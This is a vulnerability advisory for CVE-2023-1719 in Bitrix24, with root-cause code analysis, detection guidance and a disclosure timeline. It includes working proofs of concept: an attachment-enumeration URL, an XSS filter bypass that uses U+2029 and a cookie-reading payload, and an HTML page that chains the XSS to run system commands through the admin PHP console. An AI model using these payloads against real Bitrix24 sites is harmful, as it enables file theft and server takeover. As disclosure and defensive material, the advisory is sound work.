Summary:

Product Bitrix24
Vendor Bitrix24
Severity High
Affected Versions Bitrix24 22.0.300 (latest version as of writing)
Tested Versions Bitrix24 22.0.300 (latest version as of writing)
CVE Identifier CVE-2023-1719
CVE Description Global variable extraction in bitrix/modules/main/tools.php in Bitrix24 22.0.300 allows unauthenticated remote attackers to (1) enumerate attachments on the server and (2) execute arbitrary JavaScript code in the victim’s browser, and possibly execute arbitrary PHP code on the server if the victim has administrator privilege, via overwriting uninitialised variables.
CWE Classification(s) CWE-665 Improper Initialization; CWE-454 External Initialization of Trusted Variables or Data Stores
CAPEC Classification(s) CAPEC-77 Manipulating User-Controlled Variables; CAPEC-591 Reflected XSS

CVSS3.1 Scoring System:

Base Score: 7.5 (High) Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Metric Value
Attack Vector (AV) Network
Attack Complexity (AC) Low
Privileges Required (PR) None
User Interaction (UI) None
Scope (S) Unchanged
Confidentiality (C) High
Integrity (I) None
Availability (A) None

1. IDOR of attachments

Vulnerability Details:

This report presents information on an insecure direct object reference (IDOR) vulnerability caused by global variable extraction in Bitrix24 that allows an unauthenticated attacker to read attachment files.

It was discovered that the function FormDecode located at bitrix/modules/main/tools.php is called by bitrix/modules/main/start.php to extract variables from HTTP request into $GLOBALS array.

// bitrix/modules/main/tools.php

function FormDecode()
{
    $superglobals = array(
        '_GET'=>1, '_SESSION'=>1, '_POST'=>1, '_COOKIE'=>1, '_REQUEST'=>1, '_FILES'=>1, '_SERVER'=>1, 'GLOBALS'=>1, '_ENV'=>1,
        'DBType'=>1,  'DBDebug'=>1, 'DBDebugToFile'=>1, 'DBHost'=>1, 'DBName'=>1, 'DBLogin'=>1, 'DBPassword'=>1,
        'HTTP_ENV_VARS'=>1, 'HTTP_GET_VARS'=>1, 'HTTP_POST_VARS'=>1, 'HTTP_POST_FILES'=>1, 'HTTP_COOKIE_VARS'=>1, 'HTTP_SERVER_VARS'=>1,
    );

    foreach($superglobals as $gl=>$t)
    {
        unset($_REQUEST[$gl]);
        unset($_GET[$gl]);
        unset($_POST[$gl]);
        unset($_COOKIE[$gl]);
    }

    $register_globals = ini_get_bool("register_globals");
    if (!$register_globals)
    {
        $toGlobals = array();

        foreach($_ENV as $key => $val)
            if(!isset($superglobals[$key]))
                $toGlobals[$key] = $val;

        foreach($_GET as $key => $val)
            if(!isset($superglobals[$key]))
                $toGlobals[$key] = $val;

        foreach($_POST as $key => $val)
            if(!isset($superglobals[$key]))
                $toGlobals[$key] = $val;

        foreach($_COOKIE as $key => $val)
            if(!isset($superglobals[$key]))
                $toGlobals[$key] = $val;

        foreach($_SERVER as $key => $val)
            if(!isset($superglobals[$key]))
                $toGlobals[$key] = $val;

        //$GLOBALS += $toGlobals;
        //PHP7 bug
        foreach($toGlobals as $key => $val)
        {
            if(!isset($GLOBALS[$key])) // [2]
            {
                $GLOBALS[$key] = $val;  // [1]
            }
        }
    }
}

This function iterates over the key-value pairs in $_GET, $_POST and $_COOKIE, and assign them to $GLOBALS at [1], provided the key is not on the denylist $superglobals and has not been set before ([2]).

The caller of this function, start.php, is a vital part of the initialization process for Bitrix24 to handle new requests. Besides extracting global variables from HTTP request, it also initializes database connections, security middlewares and loggers. Thus, an attacker is able to define global variables in querystring, post body and cookies before entering most of the business logics on Bitrix24. In another word, if a variable is not defined before being used, its value could be controlled by attacker. An instance of this case can be found in /pub/im.file.php :

// /pub/im.file.php

// [1]
require_once $_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/main/include/prolog_before.php';

$request = Bitrix\Main\Application::getInstance()->getContext()->getRequest();

if ($request->get('FILE_ID') && $request->get('SIGN'))    // [2]
{
    $diskFileId = (int)$request->get('FILE_ID');
    $signer = new \Bitrix\Main\Security\Sign\Signer;
    $sign = htmlspecialcharsbx($request->get('SIGN'));
    try
    {
        $sign = (int)$signer->unsign($sign);
    }
    catch (\Bitrix\Main\Security\Sign\BadSignatureException $e)
    {
        CHTTP::SetStatus('404 Not Found');
    }
}

if ($diskFileId === $sign)    // [3]
{
    $file = \Bitrix\Disk\File::getById($diskFileId);
    if ($file !== null)
    {
        $fileId = $file->getFileId();
        if ($fileId > 0)
        {
            CFile::ViewByUser($fileId);    // [4]
        }
    }
}
else
{
    CHTTP::SetStatus('404 Not Found');
}

At [1], the server loads prolog_before.php which will eventualy include start.php to modify global variables. At [2], FILE_ID and SIGN are supposed to be read from querystring and assigned to variable $diskFileId and $sign correspondingly. A crypto-safe signing class \Bitrix\Main\Security\Sign\Signer is introduced here to ensure authentity.

Later on, the server checks if the decoded singature is equal to file ID at [3], then it fetches attachment records from database by ID and serves the attachment in reponse at [4].

However, it is discovered that the variables $diskFileId and $sign are only defined when the if conditions at [2] are met. Otherwise, these two variables can be overwritten by setting global variables in FormDecode() function.

Since the attachment ID stored in database is a self-incrementing integer, it is possible for an unauthenticated attacker to enumerate IDs starting from 1 and retrive all valid attachments.

Proof-of-Concept:

The PoC provided below retrives the attachment whose ID is 8 on TARGET_HOST:

http://TARGET_HOST/pub/im.file.php?diskFileId=8&sign=8

In trail version of Bitrix24, attachment with ID 8 should be “form.docx” shipped as sample data, as shown in the following image:

Exploit Conditions:

This vulnerability can be exploited without any valid credentials.

Detection Guidance:

It is possible to detect the exploitation of this vulnerability by examining traffic logs to detect the presence of the string diskFileId and sign in HTTP request. The presence of these two strings set to the same numeric value (for example, diskFileId=8 and sign=8) indicates possible exploitation of this vulnerability.

It is important to note that these two variable can be sent not only in querystring, but also in cookie and post body, separately.

2. Reflected XSS

Vulnerability Details:

This report presents information on a cross-site scripting (XSS) vulnerability caused by global variable extraction in Bitrix24. This vulnerability allows an attacker to execute arbitrary JavaScript code on the browser of any victim that visits the affected page. If the victim has administrator permissions, an attacker may leverage the built-in “PHP Command Line” feature to execute arbitrary system commands on the target web server.

It was discovered that the function FormDecode located at bitrix/modules/main/tools.php is called by bitrix/modules/main/start.php to extract variables from HTTP request into $GLOBALS array.

// bitrix/modules/main/tools.php

function FormDecode()
{
    $superglobals = array(
        '_GET'=>1, '_SESSION'=>1, '_POST'=>1, '_COOKIE'=>1, '_REQUEST'=>1, '_FILES'=>1, '_SERVER'=>1, 'GLOBALS'=>1, '_ENV'=>1,
        'DBType'=>1,  'DBDebug'=>1, 'DBDebugToFile'=>1, 'DBHost'=>1, 'DBName'=>1, 'DBLogin'=>1, 'DBPassword'=>1,
        'HTTP_ENV_VARS'=>1, 'HTTP_GET_VARS'=>1, 'HTTP_POST_VARS'=>1, 'HTTP_POST_FILES'=>1, 'HTTP_COOKIE_VARS'=>1, 'HTTP_SERVER_VARS'=>1,
    );

    foreach($superglobals as $gl=>$t)
    {
        unset($_REQUEST[$gl]);
        unset($_GET[$gl]);
        unset($_POST[$gl]);
        unset($_COOKIE[$gl]);
    }

    $register_globals = ini_get_bool("register_globals");
    if (!$register_globals)
    {
        $toGlobals = array();

        foreach($_ENV as $key => $val)
            if(!isset($superglobals[$key]))
                $toGlobals[$key] = $val;

        foreach($_GET as $key => $val)
            if(!isset($superglobals[$key]))
                $toGlobals[$key] = $val;

        foreach($_POST as $key => $val)
            if(!isset($superglobals[$key]))
                $toGlobals[$key] = $val;

        foreach($_COOKIE as $key => $val)
            if(!isset($superglobals[$key]))
                $toGlobals[$key] = $val;

        foreach($_SERVER as $key => $val)
            if(!isset($superglobals[$key]))
                $toGlobals[$key] = $val;

        //$GLOBALS += $toGlobals;
        //PHP7 bug
        foreach($toGlobals as $key => $val)
        {
            if(!isset($GLOBALS[$key])) // [2]
            {
                $GLOBALS[$key] = $val;  // [1]
            }
        }
    }
}

This function iterates over the key-value pairs in $_GET, $_POST and $_COOKIE, and assign them to $GLOBALS at [1], provided the key is not on the denylist $superglobals and has not been set before ([2]).

The caller of this function, start.php, is a vital part of the initialization process for Bitrix24 to handle new requests. Besides extracting global variables from HTTP request, it also initializes database connections, security middlewares and loggers. Thus, an attacker is able to define global variables in querystring, post body and cookies before entering most of the business logics on Bitrix24. In another word, if a variable is not defined before being used, its value could be controlled by attacker.

An instance of this case can be found in bitrix/components/bitrix/socialnetwork.events_dyn/get_message_2.php :

// bitrix/components/bitrix/socialnetwork.events_dyn/get_message_2.php

// [1]
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");

// ...

if ($GLOBALS["USER"]->IsAuthorized())
	$log_cnt = CUserCounter::GetValueByUserID($GLOBALS["USER"]->GetID(), $site); // [2]

// ...

$arData = array(
    array("LOG_CNT" => $log_cnt)    // [3]
);

echo CUtil::PhpToJSObject($arData);     // [4]

At [1], the server loads prolog_before.php which will eventualy include start.php to modify global variables. If the current request is an authenticated session, variable $log_cnt will be defined at [2]. Later on, $log_cnt is stored into an array $arData at [3] and passed on to CUtil::PhpToJSObject. The return value will be written to response at [4].

However, if the request does not contain authenticated session cookies, $log_cnt will not be defined at [2]. Thus, it can be overwritten by setting global variables in FormDecode() function.

The image below shows log_cnt in the querystring reflected in the response with minor modification, proving that it is possible to inject HTML codes:

However, the built-in Bitrix XSS sanitizer, applied to parameters of every request, complicates exploitation of this vulnerability.

The XSS sanitizer uses several regular expressions (regex) to identify and sanitize potentially dangerous input. One of these aims to target HTML event handlers, which could lead to XSS. The regex used can be found in bitrix/modules/security/lib/filter/auditor/xss.php on line 173, and a simplified version is shown below:

/(on[a-z]*)([a-z]{3}[\s]*=)/is

The regex aims to identify patterns such as onerror= and uses two capturing groups to split the dangerous string into two parts. A space is then added between the two parts, neutralizing the event handler. For example, onerror= would be transformed into oner ror=. Note that the regex allows any amount of whitespace between the event handler name (eg onerror) and the equals sign (=). This is compliant with the HTML specification. On its own, this sanitizer is secure.

The CUtil::PhpToJSObject function at [4] calls the CUtil::JSEscape function (shown below) on the value of each key-value pair in the $arData array.

// bitrix/modules/main/tools.php lines 4349 to 4355

public static function JSEscape($s){
    static $aSearch = array("\xe2\x80\xa9", "\\", "'", "\"", "\r\n", "\r", "\n", "\xe2\x80\xa8", "*/", "</");
    static $aReplace = array(" ", "\\\\", "\\'", '\\"', "\n", "\n", "\\n", "\\n", "*\\/", "<\\/");
    $val = str_replace($aSearch, $aReplace, $s);
    return $val;
}

This function performs a simple string replacement on the input string $s to ensure that it does not contain any characters that may break out of a JavaScript string, such as ", ' or \.

Notably, this function replaces the byte string \xe2\x80\xa9 (U+2029 Unicode Paragraph Separator) with a regular space (U+0020 Space).

This is a significant transformation as the Bitrix XSS sanitizer does not regard the byte string \xe2\x80\xa9 as whitespace. Therefore, the string onerror\xe2\x80\xa9= would not be sanitized. However, CUtil::JSEscape would transform the string into onerror =, which is a valid HTML onerror event handler.

Therefore, a malicious attacker may craft a log_cnt parameter on get_message_2.php. As onerror\xe2\x80\xa9= does not match the regex for an event handler, the built-in XSS sanitizer does not sanitize this string. When printing $arData in the response, CUtil::JSEscape replaces \xe2\x80\xa9 with , resulting in <img src=x onerror =alert(1)> :

Proof-of-Concept:

The PoC provided below will execute alert(document.cookie) when visited by unauthenticated users on TARGET_HOST:

http://TARGET_HOST/bitrix/components/bitrix/socialnetwork.events_dyn/get_message_2.php?log_cnt=%3Cimg%20onerror%E2%80%A9=alert(document.cookie)%20src=1%3E

It was discovered that authenticated users can also be targeted by this vulnerability. An attacker can craft a webpage that loads the reflected XSS in an iframe. Since the “SameSite” attribute of cookies are defaulted to “Lax”, modern browsers will not send session cookies to webserver when the webpage is loaded inside an iframe, on a cross-origin webpage. In this case, the server will treat the iframed request unauthenticated and return the malicious XSS payload. With a reference to authenticated window (for example, top.opener), malicious JavaScript code can be executed as an authenticated user.

The following PoC.html demonsetrates such attack (demo.mkv). It requires the victim to click on the button to launch attack. If the victim has logged in to Bitrix24 as admin, this PoC will execute shell command id on the webserver and show the command output in an alert popup.

<body>
  <script>
    let q = new URLSearchParams(location.search), r = false, reload = _=> location.search = q.toString();
    let step = q.get('step') || (q.set('step', '1'), r = true);
    let target = q.get('target') || (q.set('target', 'http://10.0.20.40'), r = true);
    if(r) reload();

    if (step === '1') {
      let btn = document.createElement('button');
      btn.innerText = 'run proof-of-concept';
      document.body.appendChild(btn);
      btn.addEventListener('click', _ => {
        q.set('step', 2);
        let u = new URL(location);
        u.search = '?' + q.toString();
        window.open(u.toString());
        location.href = target;
      })
    } else if (step === '2') {
      let f = document.createElement('iframe');
      let ub64payload = encodeURIComponent('`' + btoa('(' + payload.toString() + ')()') + '`');
      f.src = `${target}/bitrix/components/bitrix/socialnetwork.events_dyn/get_message_2.php?log_cnt=%3Cimg%20src=x%20onerror%e2%80%a9=eval(atob(${ub64payload}))%3E`;
      document.body.appendChild(f);
    } else {
      q.set('step', '1');
      reload();
    }

    function payload() {
      let h = setInterval(async _ => {
        try {
          with(top.opener){
            let sessid = document.body.innerHTML.match(/sessid=[a-f0-9]{32}/)[0];
            alert(await (await fetch("/bitrix/admin/php_command_line.php?lang=en&"+sessid, {
              method:"POST",
              headers:{
                'Content-Type': 'application/x-www-form-urlencoded'
              },
              body: new URLSearchParams({
                query: `system('id');`,
                ajax: "y",
                result_as_text:"Y"
              })
            })).text())
          }
          clearInterval(h)
        } catch (e) { }
      }, 500)
    }
  </script>
</body>

Exploit Conditions:

An attacker does not require any permissions to carry out this attack. However, the victim needs to visit a specially crafted URL supplied by the attacker.

Detection Guidance:

It is possible to detect the exploitation of this vulnerability by checking the server’s access logs for all requests made to /bitrix/components/bitrix/socialnetwork.events_dyn/get_message_2.php with parameter log_cnt. The presence of such request strongly indicates exploitation of this vulnerability.

Credits

Lam Jun Rong & Li Jiantao of of STAR Labs SG Pte. Ltd. (@starlabs_sg)

Timeline

  • 2023-03-17 Initial Vendor Contact via https://www.bitrix24.com/report/
  • 2023-03-18 No reply from vendor, tried using the form again
  • 2023-03-21 Email to [email protected]
  • 2023-03-21 Email to [email protected]
  • 2023-03-24 Got reply from [email protected], they asked us to email to [email protected] or use the form at https://www.bitrix24.com/report/ with regards to the bug reports
  • 2023-03-29 Emailed to [redacted], [redacted] & [redacted]. Team member found the 3 email addresses via an [USA bug bounty platform]
  • 2023-03-30 [redacted] replied to us
  • 2023-03-31 [redacted] wanted us to report the bugs via that [USA bug bounty platform]
  • 2023-03-31 Emailed back to [redacted] that we are unable to do so because it’s a private program in that [USA bug bounty platform]
  • 2023-03-31 [redacted] emailed back with the invite
  • 2023-03-31 Submitted the reports via that [USA bug bounty platform]
  • 2023-03-31 Informed [redacted] again that we are unable to report all the bugs due to [blah blah blah Requirements]
  • 2023-04-03 [redacted] replied that they had remove the [blah blah blah Requirements] limitations for us
  • 2023-04-04 We submitted the final 2 reports
  • 2023-06-21 [redacted] emailed us “Generally, we prefer not to publish CVE, because our clients tend to postpone or skip even critical updates, and hackers definitely will be using this information for attacking our clients. It have happened several times in the past, with huge consequences for our company and for our clients. To tell the truth, I would like to set award on [USA bug bounty platform] instead of CVE publishing. Please let me know what do you think about that.”
  • 2023-06-23 Emailed back to Bitrix that we prefer to publish the CVE and do not want the reward. We are also willing to delay the publication at a mutually agreed date.
  • 2023-09-22 [redacted] finally replied asking us if we are agreeable to publish the CVE in November 2023
  • 2023-09-22 Emailed back that we are agreeable to delay the publication to 1st November 2023
  • 2023-09-22 [redacted] accepted the date
  • 2023-11-01 Public Release